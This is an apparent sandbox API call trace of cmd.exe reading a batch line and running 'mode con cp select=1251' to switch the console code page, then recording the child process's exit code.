0x0 [0239.851] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0239.851] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.851] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.851] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0239.851] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.851] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.851] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0239.851] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.852] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.852] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0239.852] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.852] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.852] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0239.852] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.852] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.852] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0239.852] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.852] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.852] ReadFile (in: hFile=0xe8, lpBuffer=0x4a96c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2bfaf8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesRead=0x2bfaf8*=0x1, lpOverlapped=0x0) returned 1 [0239.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a96c320, cbMultiByte=1, lpWideCharStr=0x4a96e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0239.853] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.853] GetFileType (hFile=0xe8) returned 0x3 [0239.853] _get_osfhandle (_FileHandle=0) returned 0xe8 [0239.853] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.853] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.853] GetFileType (hFile=0xf4) returned 0x3 [0239.853] _get_osfhandle (_FileHandle=1) returned 0xf4 [0239.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a96c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0239.853] WriteFile (in: hFile=0xf4, lpBuffer=0x4a96c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2bfad8, lpOverlapped=0x0 | out: lpBuffer=0x4a96c320*, lpNumberOfBytesWritten=0x2bfad8*=0x18, lpOverlapped=0x0) returned 1 [0239.853] GetProcessHeap () returned 0xa0000 [0239.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4012) returned 0xbb310 [0239.853] GetProcessHeap () returned 0xa0000 [0239.853] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbb310 | out: hHeap=0xa0000) returned 1 [0239.853] _wcsicmp (_String1="mode", _String2=")") returned 68 [0239.854] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0239.854] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0239.854] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0239.854] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0239.854] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0239.854] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0239.854] GetProcessHeap () returned 0xa0000 [0239.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0xb9840 [0239.854] GetProcessHeap () returned 0xa0000 [0239.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0xb4630 [0239.854] GetProcessHeap () returned 0xa0000 [0239.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0xb6550 [0239.855] GetConsoleOutputCP () returned 0x1b5 [0239.855] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a96bfe0 | out: lpCPInfo=0x4a96bfe0) returned 1 [0239.855] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0239.855] GetConsoleTitleW (in: lpConsoleTitle=0x2bfa90, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0239.855] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0239.855] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0239.855] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0239.855] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0239.856] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0239.856] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0239.856] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0239.856] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0239.856] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0239.856] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0239.856] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0239.856] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0239.856] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0239.856] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0239.856] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0239.856] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0239.856] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0239.856] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0239.856] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0239.856] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0239.856] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0239.856] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0239.856] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0239.856] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0239.856] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0239.856] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0239.856] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0239.856] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0239.856] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0239.856] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0239.856] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0239.856] _wcsicmp (_String1="mode", _String2="START") returned -6 [0239.856] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0239.856] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0239.856] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0239.856] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0239.856] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0239.856] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0239.856] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0239.856] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0239.856] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0239.856] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0239.856] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0239.856] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0239.856] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0239.856] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0239.857] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0239.857] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0239.857] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0239.857] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0239.857] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0239.857] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0239.857] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0239.857] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0239.857] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0239.857] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0239.857] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0239.857] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0239.857] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0239.857] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0239.857] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0239.857] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0239.857] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0239.857] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0239.857] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0239.857] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0239.857] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0239.857] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0239.857] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0239.857] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0239.857] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0239.857] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0239.857] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0239.857] _wcsicmp (_String1="mode", _String2="START") returned -6 [0239.857] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0239.857] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0239.857] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0239.857] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0239.857] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0239.857] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0239.857] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0239.857] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0239.857] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0239.857] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0239.857] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0239.857] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0239.857] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0239.858] GetProcessHeap () returned 0xa0000 [0239.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x218) returned 0xbaae0 [0239.858] GetProcessHeap () returned 0xa0000 [0239.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0xb9900 [0239.858] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0239.858] GetProcessHeap () returned 0xa0000 [0239.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x420) returned 0xbb310 [0239.858] SetErrorMode (uMode=0x0) returned 0x0 [0239.858] SetErrorMode (uMode=0x1) returned 0x0 [0239.858] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xbb320, lpFilePart=0x2bf320 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2bf320*="system32") returned 0x13 [0239.858] SetErrorMode (uMode=0x0) returned 0x1 [0239.858] GetProcessHeap () returned 0xa0000 [0239.858] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xbb310, Size=0x42) returned 0xbb310 [0239.858] GetProcessHeap () returned 0xa0000 [0239.858] RtlSizeHeap (HeapHandle=0xa0000, Flags=0x0, MemoryPointer=0xbb310) returned 0x42 [0239.858] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0239.858] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0239.858] GetProcessHeap () returned 0xa0000 [0239.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0xb5bb0 [0239.859] GetProcessHeap () returned 0xa0000 [0239.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1f8) returned 0xb9c60 [0239.863] GetProcessHeap () returned 0xa0000 [0239.864] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xb9c60, Size=0x106) returned 0xb9c60 [0239.864] GetProcessHeap () returned 0xa0000 [0239.864] RtlSizeHeap (HeapHandle=0xa0000, Flags=0x0, MemoryPointer=0xb9c60) returned 0x106 [0239.864] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a95f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0239.864] GetProcessHeap () returned 0xa0000 [0239.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0xb9d80 [0239.864] GetProcessHeap () returned 0xa0000 [0239.864] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xb9d80, Size=0x7e) returned 0xb9d80 [0239.864] GetProcessHeap () returned 0xa0000 [0239.864] RtlSizeHeap (HeapHandle=0xa0000, Flags=0x0, MemoryPointer=0xb9d80) returned 0x7e [0239.865] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0239.865] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x2bf090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bf090) returned 0xb5cc0 [0239.865] GetProcessHeap () returned 0xa0000 [0239.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x0, Size=0x28) returned 0xb4660 [0239.865] FindClose (in: hFindFile=0xb5cc0 | out: hFindFile=0xb5cc0) returned 1 [0239.865] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x2bf090, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2bf090) returned 0xb5cc0 [0239.865] GetProcessHeap () returned 0xa0000 [0239.865] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xb4660, Size=0x8) returned 0xb9950 [0239.865] FindClose (in: hFindFile=0xb5cc0 | out: hFindFile=0xb5cc0) returned 1 [0239.865] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0239.865] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0239.865] GetConsoleTitleW (in: lpConsoleTitle=0x2bf5e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0239.866] GetProcessHeap () returned 0xa0000 [0239.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21c) returned 0xbb370 [0239.866] GetConsoleTitleW (in: lpConsoleTitle=0xbb380, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0239.866] GetProcessHeap () returned 0xa0000 [0239.866] RtlReAllocateHeap (Heap=0xa0000, Flags=0x0, Ptr=0xbb370, Size=0x8a) returned 0xbb370 [0239.866] GetProcessHeap () returned 0xa0000 [0239.866] RtlSizeHeap (HeapHandle=0xa0000, Flags=0x0, MemoryPointer=0xbb370) returned 0x8a [0239.866] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0239.866] GetProcessHeap () returned 0xa0000 [0239.866] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbb370 | out: hHeap=0xa0000) returned 1 [0239.866] InitializeProcThreadAttributeList (in: lpAttributeList=0x2bf398, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2bf358 | out: lpAttributeList=0x2bf398, lpSize=0x2bf358) returned 1 [0239.866] UpdateProcThreadAttribute (in: lpAttributeList=0x2bf398, dwFlags=0x0, Attribute=0x60001, lpValue=0x2bf348, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2bf398, lpPreviousValue=0x0) returned 1 [0239.866] GetStartupInfoW (in: lpStartupInfo=0x2bf4b0 | out: lpStartupInfo=0x2bf4b0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0239.866] GetProcessHeap () returned 0xa0000 [0239.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0xb4660 [0239.866] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0239.866] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0239.866] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0239.867] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0239.867] GetProcessHeap () returned 0xa0000 [0239.868] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb4660 | out: hHeap=0xa0000) returned 1 [0239.868] GetProcessHeap () returned 0xa0000 [0239.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0xb8940 [0239.868] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x2bf3d0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2bf380 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x2bf380*(hProcess=0x54, hThread=0x50, dwProcessId=0x6e0, dwThreadId=0x6e4)) returned 1 [0239.879] CloseHandle (hObject=0x50) returned 1 [0239.879] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0239.879] GetProcessHeap () returned 0xa0000 [0239.879] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb8aa0 | out: hHeap=0xa0000) returned 1 [0239.879] GetEnvironmentStringsW () returned 0xb8aa0* [0239.879] GetProcessHeap () returned 0xa0000 [0239.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xafc) returned 0xbb370 [0239.879] FreeEnvironmentStringsW (penv=0xb8aa0) returned 1 [0239.880] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77b90000 [0239.880] GetProcAddress (hModule=0x77b90000, lpProcName="NtQueryInformationProcess") returned 0x77be14a0 [0239.880] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2bec88, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2bec88, ReturnLength=0x0) returned 0x0 [0239.880] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd6000, lpBuffer=0x2becc0, nSize=0x380, lpNumberOfBytesRead=0x2bec80 | out: lpBuffer=0x2becc0*, lpNumberOfBytesRead=0x2bec80*=0x380) returned 1 [0239.880] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0240.622] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2bf2c8 | out: lpExitCode=0x2bf2c8*=0x0) returned 1 [0240.622] CloseHandle (hObject=0x54) returned 1 [0240.622] _vsnwprintf (in: _Buffer=0x2bf538, _BufferCount=0x13, _Format="%08X", _ArgList=0x2bf2d8 | out: _Buffer="00000000") returned 8 [0240.622] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0240.622] GetProcessHeap () returned 0xa0000 [0240.622] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbb370 | out: hHeap=0xa0000) returned 1 [0240.622] GetEnvironmentStringsW () returned 0xbe9b0* [0240.622] GetProcessHeap () returned 0xa0000 [0240.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb22) returned 0xbf4e0 [0240.622] FreeEnvironmentStringsW (penv=0xbe9b0) returned 1 [0240.622] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0240.622] GetProcessHeap () returned 0xa0000 [0240.622] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xbf4e0 | out: hHeap=0xa0000) returned 1 [0240.622] GetEnvironmentStringsW () returned 0xbe9b0* [0240.622] GetProcessHeap () returned 0xa0000 [0240.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb22) returned 0xbf4e0 [0240.623] FreeEnvironmentStringsW (penv=0xbe9b0) returned 1 [0240.623] GetProcessHeap () returned 0xa0000 [0240.623] HeapFree (in: hHeap=0xa0000, dwFlags=0x0, lpMem=0xb8940 | out: hHeap=0xa0000) returned 1 [0240.623] DeleteProcThreadAttributeList (in: lpAttributeList=0x2bf398 | out: lpAttributeList=0x2bf398) [0240.623] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0240.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0240.623] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0240.623] _get_osfhandle (_FileHandle=1) returned 0xf4 [0240.623] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a95e194 | out: lpMode=0x4a95e194) returned 0 